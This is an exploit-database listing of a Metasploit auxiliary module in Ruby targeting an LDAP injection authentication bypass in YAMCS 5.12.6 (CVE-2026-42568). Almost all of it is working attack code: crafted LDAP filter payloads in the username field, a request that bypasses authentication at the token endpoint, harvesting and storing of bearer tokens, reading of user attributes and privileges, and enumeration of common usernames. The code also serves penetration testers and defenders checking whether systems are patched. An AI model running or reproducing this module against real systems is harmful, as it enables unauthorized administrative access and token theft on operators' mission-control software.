Share
## https://sploitus.com/exploit?id=PACKETSTORM:223582
==================================================================================================================================
    | # Title     : YAMCS 5.12.6 LdapAuthModule LDAP Injection Authentication Bypass Metasploit Module                               |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://github.com/yamcs/                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    :   This Metasploit module targets a YAMCS LDAP authentication bypass vulnerability (CVE-2026-42568).
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'YAMCS LdapAuthModule LDAP Injection Authentication Bypass',
            'Description' => %q{
              This module exploits an LDAP injection vulnerability in the YAMCS 
              LdapAuthModule. The username parameter is inserted directly into 
              LDAP search filters without RFC 4515 escaping, allowing an attacker 
              to bypass authentication.
    
              By crafting a malicious username containing LDAP special characters, 
              an attacker can modify the LDAP filter structure and authenticate 
              as any user without knowing their password.
    
              This vulnerability affects YAMCS versions before 5.12.7 when 
              LdapAuthModule is configured. Default installations using built-in 
              authentication are not affected.
    
              Tested on YAMCS 5.12.6 with LDAP authentication enabled.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-42568'],
              ['URL', 'https://github.com/yamcs/yamcs/security/advisories/GHSA-cqh3-jg8p-336j'],
              ['URL', 'https://thedumpster.es'],
              ['URL', 'https://github.com/ex-cal1bur']
            ],
            'License' => MSF_LICENSE,
            'DefaultOptions' => {
              'RPORT' => 8090,
              'SSL' => false
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base YAMCS path', '/']),
          OptString.new('USERNAME', [false, 'Target username to impersonate (default: first user found)']),
          OptEnum.new('PAYLOAD_TYPE', [true, 'LDAP injection payload type', 'UNIVERSAL', ['UNIVERSAL', 'TARGETED', 'WILDCARD']]),
          OptString.new('PASSWORD', [false, 'Password to use (ignored in injection)', 'anything']),
          OptBool.new('GET_TOKEN', [true, 'Extract and display access token', true]),
          OptInt.new('TIMEOUT', [false, 'HTTP timeout in seconds', 10])
        ])
        @ldap_payloads = {
          'UNIVERSAL' => {
            name: 'Universal Bypass',
            username: '*)(uid=*))(|(uid=*',
            description: 'Matches all LDAP entries - authenticates as first user found'
          },
          'TARGETED' => {
            name: 'Targeted Bypass',
            username: 'admin)(|(objectClass=*',
            description: 'Bypasses password check for specified user'
          },
          'WILDCARD' => {
            name: 'Wildcard Enumeration',
            username: 'op*',
            description: 'Matches any user starting with "op" (e.g., operator)'
          }
        }
      end
      def check_vulnerable
        print_status("Checking if target appears to be YAMCS instance")
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/version')
        )
        unless res
          print_error("No response from target")
          return Exploit::CheckCode::Unknown
        end
        if res.code == 200 && res.body.include?('yamcs')
          begin
            json = res.get_json_document
            if json && json['version']
              version = json['version']
              print_status("Detected YAMCS version: #{version}")
              if Gem::Version.new(version) < Gem::Version.new('5.12.7')
                print_good("Version #{version} appears vulnerable")
                return Exploit::CheckCode::Appears
              else
                print_status("Version #{version} appears patched")
                return Exploit::CheckCode::Safe
              end
            end
          rescue JSON::ParserError
          end
        end
        Exploit::CheckCode::Detected
      end
      def test_ldap_injection(payload_type, target_user = nil)
        payload = @ldap_payloads[payload_type].dup
        if target_user && payload_type == 'TARGETED'
          payload[:username] = "#{target_user})(|(objectClass=*"
        end
        print_status("Testing LDAP injection: #{payload[:name]}")
        print_status("  Username: #{payload[:username]}")
        print_status("  Password: #{datastore['PASSWORD']}")
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'auth/token'),
          'vars_post' => {
            'grant_type' => 'password',
            'username' => payload[:username],
            'password' => datastore['PASSWORD']
          }
        )
        unless res
          print_error("No response from authentication request")
          return nil
        end
        print_status("  HTTP Status: #{res.code}")
        if res.code == 200
          print_good("AUTHENTICATION BYPASSED!")
          begin
            json = res.get_json_document
            if json && datastore['GET_TOKEN']
              token = json['access_token']
              if token
                print_good("Access token obtained: #{token[0..50]}...")
                store_cred(
                  service: {
                    host: rhost,
                    port: rport,
                    proto: 'tcp',
                    name: 'yamcs'
                  },
                  private_data: token,
                  private_type: :bearer_token,
                  access_level: 'Administrative',
                  realm_key: datastore['RHOST'],
                  realm_value: 'YAMCS API'
                )
                get_user_info(token)
              end
            end
          rescue JSON::ParserError
            print_status("Raw response: #{res.body[0..200]}")
          end
          return { success: true, token: token, response: res.body }
        elsif res.code == 401
          print_error("Authentication failed - LDAP may not be configured")
        elsif res.code == 403
          print_status("Access denied - target may be patched")
        else
          print_status("Unexpected response: #{res.body[0..100]}")
        end
        nil
      end
      def get_user_info(token)
        print_status("Attempting to retrieve user information...")
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/user'),
          'headers' => {
            'Authorization' => "Bearer #{token}"
          }
        )
        if res && res.code == 200
          begin
            json = res.get_json_document
            print_good("Authenticated as: #{json['name'] || json['username'] || 'unknown'}")
            print_status("  User attributes:")
            json.each do |key, value|
              print_status("    #{key}: #{value}") unless key == 'password'
            end
            if json['administrator'] == true || json['roles']&.include?('admin')
              print_good("User has ADMINISTRATIVE privileges!")
            end
          rescue JSON::ParserError
            print_status("Could not parse user info response")
          end
        else
          print_error("Failed to retrieve user info")
        end
      end
      def brute_force_users
        print_status("Attempting to enumerate valid usernames via LDAP injection")
        usernames = [
          'admin', 'administrator', 'root', 'yamcs', 'operator', 
          'user', 'test', 'guest', 'service', 'monitor'
        ]
        valid_users = []
        usernames.each do |username|
          print_status("Testing username: #{username}")
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'auth/token'),
            'vars_post' => {
              'grant_type' => 'password',
              'username' => "#{username})",
              'password' => 'anything'
            }
          )
          if res && res.code == 200
            print_good("Valid user found: #{username}")
            valid_users << username
          end
        end
        valid_users
      end
      def run_host(ip)
        print_status("Starting YAMCS LDAP Injection scan against #{peer}")
        check_result = check_vulnerable
        if check_result == Exploit::CheckCode::Safe
          print_error("Target appears to be patched or not vulnerable")
          return
        end
        target_user = datastore['USERNAME']
        payload_type = datastore['PAYLOAD_TYPE']
        if target_user && payload_type == 'TARGETED'
          print_status("Targeting specific user: #{target_user}")
        end
        result = test_ldap_injection(payload_type, target_user)
        if result && result[:success]
          print_good("LDAP injection successful!")
          report_vuln(
            host: ip,
            port: datastore['RPORT'],
            name: name,
            refs: references,
            info: "YAMCS LdapAuthModule LDAP injection allows authentication bypass"
          )
          print_status("Attempting to enumerate additional users...")
          valid_users = brute_force_users
          if valid_users.any?
            print_good("Found #{valid_users.length} valid user(s): #{valid_users.join(', ')}")
            report_note(
              host: ip,
              port: datastore['RPORT'],
              type: 'yamcs.valid_users',
              data: valid_users,
              update: :unique_data
            )
          end
        else
          print_error("LDAP injection test failed")
          print_status("Note: This vulnerability only works when LdapAuthModule is configured")
          print_status("Default YAMCS installations using built-in auth are not affected")
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================